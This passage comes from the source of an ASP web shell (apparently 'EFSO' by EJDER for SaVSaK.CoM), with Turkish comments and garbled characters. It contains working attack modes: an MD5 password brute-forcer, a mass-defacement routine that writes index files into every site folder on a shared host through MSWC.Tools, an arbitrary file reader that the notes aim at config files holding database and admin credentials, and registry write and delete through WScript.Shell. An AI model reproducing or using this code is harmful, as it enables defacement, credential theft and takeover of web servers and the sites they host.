if request.cookies("mdd") = "0" or request.cookies("mdd") = "" then
session("say") = 1
Call Cookyaz("hash1","has1",Usersmd5)
Call Cookyaz("hash2","has2",hash2)
Call Cookyaz("hash3","has3",hash3)
Call Cookyaz("hash4","has4",hash4)
Call Cookyaz("hash5","has5",hash5)
Call Cookyaz("hash6","has6",hash6)
Call Cookyaz("hash7","has7",hash7)
Call Cookyaz("hash8","has8",hash8)
Call Cookyaz("hash9","has9",hash9)
Call Cookyaz("hash10","has10",hash10)
inject4 = CInt(session("say"))
inject3 = 0
end if
increment = 0
sifre = ""
hashing = ""
goup=0
getend=0
if inject4 = inject3 then
response.write ("<script>alert(""T<>m <20>ifreler K<>r<EFBFBD>ld<6C> ;) by EJDER "")</script>")
response.end()
end if
if coding ="" then ' kod olu<6C>tur
coding = kodolustur(ara1)
end if
coding = replace(coding,"x","#")
if dizi = "" then ' Charset i olu<6C>uturuyorum..
dizi = diziolustur()
end if
Call HashFounded("hash1","has1")
Call HashFounded("hash2","has2")
Call HashFounded("hash3","has3")
Call HashFounded("hash4","has4")
Call HashFounded("hash5","has5")
Call HashFounded("hash6","has6")
Call HashFounded("hash7","has7")
Call HashFounded("hash8","has8")
Call HashFounded("hash9","has9")
Call HashFounded("hash10","has10")
for t=1 to inject1
sifre = Sifreyarat(coding,ara1,dizi)
if salt = "" then
md5li=UCASE(md5(sifre))
response.write sifre &" - "& md5li & "<br>"
else
md5li=UCASE(md5(salt+sifre))
response.write salt+sifre &" - "& md5li & "<br>"
end if
Call hashyes("hash1","has1",md5li,sifre)
Call hashyes("hash2","has2",md5li,sifre)
Call hashyes("hash3","has3",md5li,sifre)
Call hashyes("hash4","has4",md5li,sifre)
Call hashyes("hash5","has5",md5li,sifre)
Call hashyes("hash6","has6",md5li,sifre)
Call hashyes("hash7","has7",md5li,sifre)
Call hashyes("hash8","has8",md5li,sifre)
Call hashyes("hash9","has9",md5li,sifre)
Call hashyes("hash10","has10",md5li,sifre)
coding = SonrakiAdim(coding,ara1,dizi)
'response.flush
next
coding = replace(coding,"#","x")
if CInt(ara1) <> CInt(ara2)+1 then
response.write "<META http-equiv=refresh content="&waiting&";URL='"&FilePath&"?mode=41&ara1="&ara1&"&ara2="&ara2&"&dizi="&dizi&"&coding="&coding&"&waiting="&waiting&"&inject1="&inject1&"&salt="&salt&"&inject4="&inject4&"&inject3="&inject3&"'>"
end if
response.flush
CASE 42 'MSWC nesnesi kullan<61>m<EFBFBD>. Permision ge<67>me ad<61>na att<74><74><EFBFBD>m bir adamd<6D>r. bu nesnenin oldu<64>unu "Scorlex" den edindim. Ara<72>t<EFBFBD>rd<72>m neler yapar<61>m diye =) i<>te g<>r<EFBFBD>n neler yap<61>labiliyormu<6D>uz ;) bununla. uehueh by EJDER
response.write "<table width=""100%"" class=""kbrtm""><tr valign=""top""><td colspan=""2"" align=""center"">"
tablo30("<b>Hacking with Using MSWCTools 1.0 by EJDER ;)</b>")
yazsol("<form action='"&FilePath&"?mode=43' method=post><b><3E>ndex Yeri : </b><input name='hash2' type='text' value='"&FilePath&"' size=50> (<28>ndexin Serverdaki virtual yeri)")
yazsol("<input type=radio name='hash4' checked value='tek'> <b>At<41>lacak Yer: </b><input name='hash3' type='text' value='default.asp' size=50> (Tek bir yere Yaz.)")
yazsol("<input type=radio name='hash4' value='multi'> <b>MASS Konum: </b><input name='hash6' type='text' value='.\' size=50> (Mass yap<61>lacak dizin)")
yazsol("<b>Eklencek Klas<61>r: </b><input name='hash5' type='text' value='httpdocs\' size=25> (Ek Klas<61>r girdisi - BO<42> b<>rak<61>n , bilmiyorsan<61>z)")
yazorta("<input name='G<>nder_Ej_De_r' value='Yazd<7A>r ko<6B>umm ;) by EJDER' type='submit'")
response.write "</td></tr></table></form>"
yazorta("<b>Kullan<61>m<EFBFBD> by Ejder</b>")
yazsol("<22>necelikle, FSO nesnesi kullanmadan bir dosyay<61> , istenilen yere MSWC nesnesi ile yazd<7A>r<EFBFBD>lanabiliniyor. FSO deste<74>i olmayan bir server da bile, rahat<61>a bu nesne yard<72>m<EFBFBD> ile index atabilirsiniz. Kimi serverlarda, permison engeline tak<61>l<EFBFBD>r<EFBFBD>z yada kls<6C>r<EFBFBD> i<>ine giremeyiz, yada FSO kullan<61>m<EFBFBD> k<>s<EFBFBD>tl<74>d<EFBFBD>r. bunlar<61> A<>MAK i<>in bu nesneyi kulland<6E>m. Bu nesne <20>u an localhost ve 1-2 yerde <20>al<61><6C>t<EFBFBD> sa<73>l<EFBFBD>kl<6B> <20>ekilde. <20>u an TEst s<>r<EFBFBD>m<EFBFBD>nde diyebilirim. Umar<61>m bu bizim permison =) ge<67>me yollumuzu ayd<79>nlat<61>r ne dersiniz :)) uehueh")
yazsol("<b>index yeri -></b>Buray<61> fiziksel yeri YAZMAYIN SAKIN. oraya indexinizin virtual yerini yani. Kulland<6E><64><EFBFBD>n<EFBFBD>z FSO dizinine olan KONUMUNU yaz<61>n indexin yani. Bu fso ile ayn<79> yerde ise, 'hacked.html' e<>er alt klas<61>rde ise -> '..\hacking.html', '..\..\..\savsak\www\hacking.html',yada \news\hacking.html gibi belirtmeniz gerek.Konumunu b<>yle belirlemeniz gerekiyor. 'C:\ss\ss\hacking.html' yapt<70><74><EFBFBD>n<EFBFBD>zda i<>lem ger<65>ekle<6C>mezz.. <b>YADA size <20>NER<45>m -> kulland<6E><64><EFBFBD>n<EFBFBD>z FSo yu istedi<64>inzi yere server daki bir ba<62>kas siteye copyalat<61>rr<72>san<61>z , , bu sefer fso yu o site <20>zeridnen <20>al<61><6C>t<EFBFBD>rr<72>rsan<61>z PErmsion <20> a<>m<EFBFBD><6D> olursunuz o site i<>in.</b>")
yazsol("<b>At<41>lacak yer ->></b> TEK bir hedef i<>in. Buray<61>da ..\..\ <20>eklinde inerek belirtmeniz gerekiyor.mesela '..\..\..\index.asp' 3 dizin a<>a<EFBFBD><61>ya iner ve index i atar yada '..\..\..\www\index.asp' 3 dizin iner ww dizine girer , index i atar. =) b<>yle OLAMAK zorunda . ")
yazsol("<b>MASS Konum ->></b> BUrda <20>oklu alt klas<61>rlerede index atmak i<>in geli<6C>tirdim. '..\..\..\' <20>eklinde a<>a<EFBFBD><61>lara inin ve T<>M sietelerin L<>Stelendi<64>i klas<61>r ee kadar olan '..\' i<>aretini ayarlay<61>n. mesela 3 dizin a<>a<EFBFBD><61>da ise FSO olan uzakl<6B><6C><EFBFBD>, '..\..\..\' yaz<61>n yeterdir =) . <b>Eklenecek klas<61>r-></b> burda da, T<>m sietlere giri<72> yap<61>ld<6C>kdan sonraki Klas<61>r ad<61> , mesela 'www' yada 'http' yada 'wwwroot' gibi.")
yazsol("Neden b<>yle derseniz, MSWC nin kullan<61>m<EFBFBD>, destekleid<69>i <20>ekil b<>yledir. Biraz kafa kar<61><72>t<EFBFBD>r<EFBFBD>c<EFBFBD>. Ama ben denedim g<>rd<72>m =) memnun kald<6C>m. O y<>zden bu FSO da yerini ald<6C>. <20>undan eminimki kullan<61>m<EFBFBD>n<EFBFBD> deneyerek <20><>rendi<64>inizde, sizinde PErmsion ge<67>mede vazge<67>ilmeziniz olacakd<6B>r =) euheuh")
yazorta("Speacil thanks to <b>Scorlex</b> for giving idea about MSWC Component")
yazorta("<b>Coding & Development & Algorithms Made by EJDER</b>")
CASE 43 'MSWC i<>leniyor =)
on error resume next
Set utils = Server.CreateObject("MSWC.Tools")
if err <> 0 then
olmadi("MSWC.tools deste<74>i yoktur bu server<65>n.")
end if
if hash4 = "tek" then
on error resume next
utils.ProcessForm hash3, hash2
if err <>0 then
olmadi("Ba<42>ar<61>s<EFBFBD>z. Belirti<74>iniz virtual path lar do<64>rumu emin olun. MSWC deste<74>i var <20><>nk<6E> server <20>n.")
else
oldu("Ba<42>ard<72>n<EFBFBD>z ;) i<>lem ger<65>ekle<6C>tii.")
end if
else
on error resume next
Set f = FSO.GetFolder(FolderPath)
Set fc = f.SubFolders
if err<>0 then
olmadi("bu klas<61>r e FSo nesnesi ile tarama yap<61>lam<61>yor. <20>nce okunmal<61>, sonra MSWC devreye girer.")
end if
For Each f1 In fc
on error resume next
mevki = hash6+f1.name+"\"+hash5+"default.asp"
utils.ProcessForm mevki, hash2
mevki = hash6+f1.name+"\"+hash5+"index.asp"
utils.ProcessForm mevki, hash2
mevki = hash6+f1.name+"\"+hash5+"default.htm"
utils.ProcessForm mevki, hash2
mevki = hash6+f1.name+"\"+hash5+"index.html"
utils.ProcessForm mevki, hash2
mevki = hash6+f1.name+"\"+hash5+"Hmei7.htm"
utils.ProcessForm mevki, hash2
mevki = hash6+f1.name+"\"+hash5+"index.htm"
utils.ProcessForm mevki, hash2
if err<>0 then
response.write "<table width=""100%""><tr><td class=""kbrtm""> "& hash6+f1.name+"\"+hash5&" <font color=#FE7A84> Noo :( !! <font class=""k1""><3E></font></td></tr></table>"
else
response.write "<table width=""100%""><tr><td class=""kbrtm""> "& hash6+f1.name+"\"+hash5&" <font color=#C6FCBE> OK !! <font class=""k1""><3E></font></td></tr></table>"
end if
response.flush
Next
yazorta("<b><3E><>lem Tamamland<6E>. by Ejder ;)</b>")
end if
CASE 44 'XMLHTTP l<> dosya okuma.
if inject2 = "ok" then
mevki = hash2
else
mevki = Fullpath
end if
response.write "<table width=""100%"" class=""kbrtm""><tr valign=""top""><td colspan=""2"" align=""center"">"
tablo30("<b>Reading Files by using XMLHTTP 1.0 by EJDER ;)</b>")
yazsol("<form action='"&FilePath&"?mode=44' method=post><input name='inject2' value='ok' type='hidden'><b>Dosya Adresi : </b><input name='hash2' type='text' value='"&mevki&"' size=60><input name='goruntule_by_Ej_d_e_r' value='.: G<>r<EFBFBD>nt<6E>le :.' type='submit'>")
response.write "</td></form></tr></table>"
if not inject2 = "ok" then
yazsol("<b>XMLHTTP</b> Component ini kullanmaktad<61>r. kullan<61>m<EFBFBD> <20>ok kolay. Server daki istedi<64>iniz dosyan<61>n fiziksel link ini yazarak , i<>ini g<>r<EFBFBD>nt<6E>leyebilirsiniz.")
yazsol("Bir server a girdiniz. FSO ile okuma yetkiniz yok bir dizinde, fakat orda dosyalar mevcut. HTTP <20>zerinden ula<6C>abiliyorusnuz fakat server i<>inden PERMission denied diyor. o zaman direk burdan fiziksel link ini yazarakdan ula<6C><61>r<EFBFBD><72>z. BUNU 'confing.asp' 'common.asp' 'sql.asp' gibi dosyalarda uygulayarak SQL ba<62>lant<6E>lar yada MDB yerlerini <20><>renebiliriz. Hatta ASp kodlar i<>indeki Admin <20>irfeleri gibi kritik <20>ifrrelerde dahil. SQL injeciotn yapacaksan<61>zda, Tablo lar<61> , kullan<61><6E>an sql komularada ula<6C>abilirsiniz. ")
else
response.write "<textarea style='width:100%;height:470;' >"
on error resume next
Set ejder = Server.CreateObject("Microsoft.XMLHTTP")
ejder.Open "GET", hash2, false
ejder.Send
if err=0 then
Response.Write Server.HTMLEncode(ejder.ResponseText)
else
response.write "Yazd<7A><64><EFBFBD>n<EFBFBD>z adres bulunamad<61> . ?? bir kontrol yap by EJDER ;)"
end if
response.write "</textarea>"
end if
yazorta("<b>by Ejder ;)</b>")
CASE 45 'Regedit z<>mb<6D>rt<72>s<EFBFBD> =) uehueh by E J D E R F r o m S a V S a K . C o M
response.write "<table width=""100%"" class=""kbrtm""><tr valign=""top""><td colspan=""2"" align=""center"">"
tablo30("<b>REGED<45>T 1.0 by EJDER ;)</b>")
tablo30("<br><b>REGister lara YAzma & Ekleme</b>")
yazsol("<form action='"&FilePath&"?mode=45' method=post><input name='inject2' value='yaz' type='hidden'><b>Mevki/Key : </b><input name='hash2' type='text' value='' size=85><br> (<28>rnek: HKLM\SOFTWARE\Microsoft\SaVSAK_CoM)")
yazsol("De<44>er/Value: <input name='hash3' value='' type='text'>")
yazsol("T<>r/Type: <select name='hash4'><option value=1>REG_SZ</option><option value=2>REG_DWORD</option><option value=3>REG_BINARY</option><option value=4>REG_EXPAND_SZ</option><option value=5>REG_MULTI_SZ</option></select> &nbsp;&nbsp;&nbsp;&nbsp; <input name='SaVSA_K_CoM' value='..:: YAZDIR ::..' type='Submit'>")
response.write "</td></form></tr></table>"
yazsol("<table><tr><td>Root Key Name</td><td>Kar<61><72>l<EFBFBD><6C><EFBFBD></td></tr><tr><td>HKEY_CURRENT_USER</td><td>HKCU</td></tr><tr><td>HKEY_LOCAL_MACHINE</td><td> HKLM </td></tr><tr><td>HKEY_CLASSES_ROOT</td><td>HKCR</td></tr><tr><td>HKEY_USERS</td><td>HKEY_USERS </td></tr><tr><td>HKEY_CURRENT_CONFIG</td><td>HKEY_CURRENT_CONFIG </td></tr></table>")
yazsol("REG_SZ -> String(kelime) / REG_DWORD -> <20>nteger(Say<61>) / REG_BINARY -> Binary / REG_EXPAND_SZ -> Multi String / REG_MULTI_SZ -> Aeeay String")
response.write "<table width=""100%"" class=""kbrtm""><tr valign=""top""><td colspan=""2"" align=""center"">"
tablo30("<br><b>Register lardan OKUMA & S<>L by SaVSaK.CoM ;)</b>")
yazsol("<form action='"&FilePath&"?mode=45' method=post><input name='inject2' value='oku' type='hidden'><b>Mevki/Key : </b><input name=""hash5"" type='text' value='' size=85><br> (<28>rnek: HKLM\SOFTWARE\Microsoft\SaVSAK_CoM)")
yazorta("<input value='oku' name='hash6' type='radio' checked> OKU - <input value='sil' name='hash6' type='radio'> S<>L &nbsp;&nbsp;&nbsp;&nbsp; <input name='SaVSA_K_CoM_' value='..:: OKU/S<>L ::..' type='Submit'>")
response.write "</td></form></tr></table>"
on error resume next
Set SaVSaK = Server.CreateObject("WScript.Shell")
if err <> 0 then
olmadi("Server da WScript.SHell kullan<61>m<EFBFBD>na <20>zin vermemektedir. <20><>lem ba<62>ar<61>s<EFBFBD>z. SaVSaK.CoM")
response.end()
end if
if inject2 = "yaz" then
on error resume next
Select Case CInt(hash4)
Case 1
hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_SZ")
Case 2
hash9 = SaVSaK.RegWrite (Trim(hash2), CInt(Trim(hash3)), "REG_DWORD")
Case 3
hash9 = SaVSaK.RegWrite (Trim(hash2), CInt(Trim(hash3)), "REG_BINARY")
Case 4
hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_EXPAND_SZ")
Case 5
hash9 = SaVSaK.RegWrite (Trim(hash2), Trim(hash3), "REG_MULTI_SZ")
End Select
if err <> 0 then
olmadi("<22><>lem ger<65>ekle<6C>tirilemedi. VALUE de<64>erinin do<64>ru ve uygun Value girid<69>inziden emin ol.")
else
oldu(" <b>"+hash2+"</b><br> adresine register yaz<61>ld<6C>. ")
end if
else if inject2 = "oku" then
if hash6 = "oku" then
yazorta("Mevki/Key: <b>"&Trim(hash5)&"</b>")
on error resume next
response.write "<center>De<44>er/Value: <b>"
response.write SaVSaK.RegRead (Trim(hash5))
response.write "</b></center>"
if err<>0 then
olmadi("Kay<61>t Register larda bulunamad<61>...")
end if
else if hash6 = "sil" then
yazorta("Mevki/Key: <b>"&Trim(hash5)&"</b>")
on error resume next
hash9 = SaVSaK.RegDelete (Trim(hash5))
if err<>0 then
olmadi("Registerlardan Silinemedi. KEy yanl<6E><6C> olabilir. yada kay<61>t bulanamad<61>.")
else
oldu("Ba<42>ar<61>yla Silindi. ")
end if
end if
end if
end if
end if
yazortaa("<b>Written by EJDER for SaVSaK.CoM</b>")
END SELECT
if popup = False AND nolist = False then
response.write "<br><br>"
response.write "<div style=""z-index:150; position:absolute"">"
Call KlasorOku()
response.write "</div><div align=""right"">"
Call DosyaOku()
response.write "</div>"
end if
if popup = False then
response.write "<br><br><center><table cellpadding=""0"" cellspacing=""0"" width=""160"">"
response.write "<tr><td class=""kbrtm"" height=""20"" style=""background-color:121212"" align=""center""><b>S<>r<EFBFBD>c<EFBFBD>ler</b></td></tr>"
Call Suruculer
response.write "</table></center><br><br>"
Call SurucuInfo
yazortaa("<b>Written by <a href=""mailto:ejder@savsak.com"">EJDER</a> For <a href=""http://www.savsak.com"" target=_blank"">WwW.SaVSaK.CoM</a></b>")
yazorta("<b>Template & Tema Designed by <a href=""mailto:fastboy@savsak.com"">FASTBOY</a><br>Speacial Thanks to Fastboy</b>")
end if
%>
<!--EFSO Ejder & Fastboy taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r for SaVSaK.CoM . T<>M HAKLARI Ejder e Aitttir.-->
<!--T<>M HAKLARI SAKLIDIR.. KODLARDA yapaca<63><61>nm<6E>z bir de<64>i<EFBFBD>iklik KODun <20>al<61><6C>mamas<61>na mal olur. Bundan dolay<61> Bir sorun <20><>karsa EJDER & SaVSAK.CoM Sorunlu de<64>ildir..-->
<!--Bu yaz<61>l<EFBFBD>mda geli<6C>tilmi<6D> t<>m her<65>ey , mant<6E>k, algoritma, yaz<61>l<EFBFBD>mlar S<>f<EFBFBD>rdan Ejder taraf<61>ndan yaz<61>lm<6C><6D>t<EFBFBD>r. TEMA , d<>zen vede G<>r<EFBFBD>n<EFBFBD>m Fastboy a Aittir. -->
<!-- TAKL<4B>TLE<4C>RNDEN KA<4B>ININ. by EJDER-->
<!--Ejder was HERE-->
<%'ejder%><p align="right">&nbsp;</p>
Reference in a new issue Copy permalink